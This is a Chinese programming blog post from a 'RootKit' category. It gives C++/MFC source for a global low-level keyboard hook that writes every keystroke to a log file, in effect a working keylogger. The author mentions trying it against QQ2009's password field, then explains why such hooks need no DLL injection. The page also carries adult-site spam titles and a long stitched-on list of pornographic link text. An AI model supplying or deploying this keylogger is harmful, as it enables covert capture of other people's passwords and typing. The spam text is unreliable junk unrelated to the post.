青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉(zhuǎn),開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

About ShutDown of Windows(三)

Posted on 2009-11-17 09:12 S.l.e!ep.¢% 閱讀(188) 評論(0)  編輯 收藏 引用 所屬分類: RootKit
接著 About ShutDown of Windows(二) ?繼續(xù),將代碼繼續(xù)改進

HHOOK?g_Hook;

LRESULT?CALLBACK?MyKeyHook(
int?code,?WPARAM?wParam,?LPARAM?lParam)
{
#if?(_WIN32_WINNT?<?0x0400)
/*
?*?Structure?used?by?WH_KEYBOARD_LL
?
*/
typedef?
struct?tagKBDLLHOOKSTRUCT?{
????DWORD???vkCode;
????DWORD???scanCode;
????DWORD???flags;
????DWORD???time;
????DWORD???dwExtraInfo;
}?KBDLLHOOKSTRUCT,?FAR?
*LPKBDLLHOOKSTRUCT,?*PKBDLLHOOKSTRUCT;
#endif

????PKBDLLHOOKSTRUCT?kbDLLHOOK?
=?(PKBDLLHOOKSTRUCT)lParam;
????
????
const?char?*info?=?NULL;
????
????
if?(wParam?==?WM_KEYDOWN)
????????info?
=?"key?down";????
????
else?if?(wParam?==?WM_KEYUP)
????????info?
=?"key?up";
????
else?if?(wParam?==?WM_SYSKEYDOWN)
????????info?
=?"sys?key?down";????
????
else?if?(wParam?==?WM_SYSKEYUP)
????????info?
=?"sys?key?up";

????FILE
*?f?=?fopen("hook.txt",?"a+");

????CString?strLog;
????strLog.Format(
"%s?-?vkCode?[%04x],?[%c]?scanCode?[%04x]\n",?info,?kbDLLHOOK->vkCode,?kbDLLHOOK->vkCode,?kbDLLHOOK->scanCode);

????fwrite(strLog,?
1,?strLog.GetLength(),?f);
????fclose(f);

????
//?always?call?next?hook
????return?CallNextHookEx(g_Hook,?code,?wParam,?lParam);
}??????

BOOL?CHookTestDlg::OnInitDialog()
{
????CDialog::OnInitDialog();

????
//?Add?"About"?menu?item?to?system?menu.

????
//?IDM_ABOUTBOX?must?be?in?the?system?command?range.
????ASSERT((IDM_ABOUTBOX?&?0xFFF0)?==?IDM_ABOUTBOX);
????ASSERT(IDM_ABOUTBOX?
<?0xF000);

????CMenu
*?pSysMenu?=?GetSystemMenu(FALSE);
????
if?(pSysMenu?!=?NULL)
????{
????????CString?strAboutMenu;
????????strAboutMenu.LoadString(IDS_ABOUTBOX);
????????
if?(!strAboutMenu.IsEmpty())
????????{
????????????pSysMenu
->AppendMenu(MF_SEPARATOR);
????????????pSysMenu
->AppendMenu(MF_STRING,?IDM_ABOUTBOX,?strAboutMenu);
????????}
????}

????
//?Set?the?icon?for?this?dialog.??The?framework?does?this?automatically
????
//??when?the?application's?main?window?is?not?a?dialog
????SetIcon(m_hIcon,?TRUE);????????????//?Set?big?icon
????SetIcon(m_hIcon,?FALSE);????????//?Set?small?icon
????
????
//?TODO:?Add?extra?initialization?here
#ifndef?WH_KEYBOARD_LL
????
#define?WH_KEYBOARD_LL?13
#endif
????
????g_Hook?
=?SetWindowsHookEx(WH_KEYBOARD_LL,?MyKeyHook,?AfxGetApp()->m_hInstance,?0);
????
????
if(?g_Hook?==?NULL?)
????????AfxMessageBox(
"Failed?to?Set?Hook");
????
????
return?TRUE;??//?return?TRUE??unless?you?set?the?focus?to?a?control
}

已經(jīng)實現(xiàn)了HOOK鍵盤消息(題外話:對于普通的程序確實可行,但對于QQ2009的PwdEdit顯示出來的東西是不對的,明顯QQ2009的PwdEdit對消息加密過)

用 SysCheck 工具查看,這個EXE也并沒有注入到其它進程

MSDN的解釋
WH_KEYBOARD_LL
Windows NT/2000/XP: Installs a hook procedure that monitors low-level keyboard input events. For more information, see the LowLevelKeyboardProc hook procedure.

If the input comes from a call to keybd_event, the input was "injected". However, the WH_KEYBOARD_LL hook is not injected into another process. Instead, the context switches back to the process that installed the hook and it is called in its original context. Then the context switches back to the application that generated the event.

???????? 一般情況下,全局消息鉤子要依賴于一個DLL才能夠正常工作。

但實際上不是這樣的。有某些全局鉤子可以不依賴于任何DLL而正常工作的。這些鉤子包括,WH_JOURNALPLAYBACK,WH_JOURNALRECORD,WH_KEYBOARD_LL,WH_MOUSE_LL。為什么這些鉤子可以不依賴于DLL而正常工作呢?我們可以從MSDN中得到答案,MSDN中對于這四種鉤子都這樣的描述“This hook is called in the context of the thread that installed it.”,翻譯成中文意思是鉤子函數(shù)的調(diào)用是在安裝鉤子的線程上下文中進行的,說得更明白些,意思就是這些鉤子是在哪個線程當中安裝的,其鉤子函數(shù)就在哪個線程中執(zhí)行。所以使用這四種鉤子是達不到代碼注入的效果的,當然也就可以不依賴于任何DLL了。MSDN中只對個別鉤子指出了必須還是沒有必要使用DLL。



青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲一区二区三区国产| 欧美激情国产日韩精品一区18| 欧美精品二区三区四区免费看视频| 国产欧美日韩三区| 久久久久久久久综合| 久久久青草婷婷精品综合日韩| 国产情侣一区| 欧美激情aⅴ一区二区三区| 亚洲视频在线观看一区| 欧美激情无毛| 欧美在线影院| 你懂的国产精品| 亚洲自拍偷拍一区| 欧美在线视频一区二区| 亚洲黄色影片| 午夜亚洲性色福利视频| 亚洲精品免费网站| 欧美一区二区高清| 99国产精品久久久久久久| 亚洲男女毛片无遮挡| 亚洲国产三级网| 欧美一区二区三区另类| 久久激情中文| 美女黄色成人网| 亚洲欧美电影在线观看| 亚洲福利视频一区二区| 亚洲主播在线| 亚洲性线免费观看视频成熟| 亚洲欧美亚洲| av成人激情| 欧美日韩一区视频| 亚洲国产视频直播| 国产亚洲综合在线| 亚洲尤物视频网| 久久av一区二区三区| 国产精品久久久久久久浪潮网站| 欧美激情综合色| 在线欧美不卡| 欧美成人国产va精品日本一级| 欧美怡红院视频| 国产综合精品| 麻豆精品一区二区av白丝在线| 久久久国产精品一区| 黄色av成人| 久久久久综合网| 亚洲成色最大综合在线| 亚洲激情视频在线播放| 欧美视频日韩视频| 亚洲欧美综合网| 美女精品视频一区| 99精品国产高清一区二区 | 一区二区三区产品免费精品久久75| 亚洲黄色免费网站| 国产精品美女一区二区在线观看| 午夜精品久久久久久久男人的天堂| 久久精品夜夜夜夜久久| 亚洲国产另类 国产精品国产免费| 欧美激情一区二区三区在线视频 | 欧美激情小视频| 亚洲视频免费在线| 免费观看成人网| 午夜亚洲性色福利视频| 国精品一区二区三区| 欧美三日本三级少妇三2023| 欧美在线短视频| 亚洲美女电影在线| 亚洲国产精品黑人久久久| 亚洲欧美综合网| 亚洲天堂网在线观看| 亚洲人成人77777线观看| 激情欧美一区| 黄网动漫久久久| 伊人婷婷欧美激情| 在线播放亚洲一区| 韩国成人精品a∨在线观看| 国产一区二区三区视频在线观看| 国产精品久久久久免费a∨| 欧美日韩性视频在线| 欧美午夜a级限制福利片| 欧美韩日一区二区三区| 欧美日韩国产一区二区| 欧美精品18videos性欧美| 欧美色道久久88综合亚洲精品| 欧美日韩在线看| 国产欧美日韩综合一区在线播放 | 亚洲精品久久久久久下一站| 亚洲日本久久| 午夜激情久久久| 久久久久免费视频| 欧美激情一区二区在线 | 日韩午夜激情电影| 亚洲美女黄色| 亚洲综合三区| 亚洲国产精品高清久久久| 这里只有视频精品| 久久综合久久久久88| 欧美视频在线免费看| 在线观看中文字幕亚洲| 亚洲天堂av在线免费| 免费在线一区二区| 午夜久久资源| 欧美三级电影一区| 最近看过的日韩成人| 久久一区二区精品| 亚洲在线成人| 国产精品vvv| 亚洲一区欧美激情| 亚洲日本成人网| 欧美成人精品激情在线观看| 欧美日韩亚洲一区三区| 亚洲国产色一区| 欧美大胆成人| 欧美精品v日韩精品v国产精品| 黄色综合网站| 欧美激情aaaa| 欧美精品日韩| 在线视频一区观看| 艳妇臀荡乳欲伦亚洲一区| 欧美伦理视频网站| 亚洲五月六月| 亚洲一卡久久| 一区在线电影| 亚洲电影天堂av| 国产精品久久久久久五月尺| 亚洲在线黄色| 久久久噜噜噜| 亚洲特色特黄| 久久久噜噜噜久久中文字幕色伊伊| 好吊日精品视频| 日韩一区二区久久| 国产欧美一区二区三区沐欲| 女人色偷偷aa久久天堂| 欧美激情一区| 免费观看日韩av| 国产精品va| 亚洲丰满少妇videoshd| 亚洲精品麻豆| 亚洲电影观看| 亚洲一区二区三区乱码aⅴ蜜桃女| 国产一区二区三区成人欧美日韩在线观看| 久久精品国产清高在天天线| 欧美激情一区在线观看| 久久亚洲欧美国产精品乐播| 欧美日韩国产综合网| 欧美1级日本1级| 国语自产偷拍精品视频偷| 亚洲一二三四久久| 亚洲在线观看| 国产精品欧美日韩一区二区| 亚洲美女免费视频| 99在线精品视频| 欧美日韩视频专区在线播放 | 亚洲午夜久久久| 欧美日韩一区视频| 欧美 日韩 国产在线| 欧美亚洲视频在线观看| 在线观看福利一区| 亚洲一区二区三区777| 亚洲欧美99| 国产在线观看一区| 久久久精品2019中文字幕神马| 久久久久久一区| 亚洲人妖在线| 欧美日韩国产在线播放| 亚洲视频网站在线观看| 久久久久久69| 亚洲精品一区二区三区福利| 欧美日韩一区二区在线视频| 亚洲综合电影| 亚洲精品一区在线观看| 欧美一级理论性理论a| 亚洲第一精品影视| 欧美日韩一区二区视频在线 | 亚洲国产精品t66y| 欧美视频不卡| 快播亚洲色图| 亚洲视频你懂的| 亚洲激情欧美激情| 久久精品在线播放| 欧美日韩在线免费观看| 欧美一区二区三区男人的天堂 | 欧美精品色综合| 另类亚洲自拍| 久久久综合精品| 欧美一区二区精品| 亚洲欧美在线一区| 亚洲视频在线观看一区| 亚洲精品自在久久| 亚洲精品一二三| 最新亚洲电影| 亚洲精品自在久久| 亚洲毛片一区二区| 亚洲图中文字幕| 这里只有精品电影| 亚洲一区影音先锋| 欧美一级夜夜爽| 噜噜爱69成人精品| 欧美韩日一区二区三区| 欧美三级第一页| 激情久久婷婷|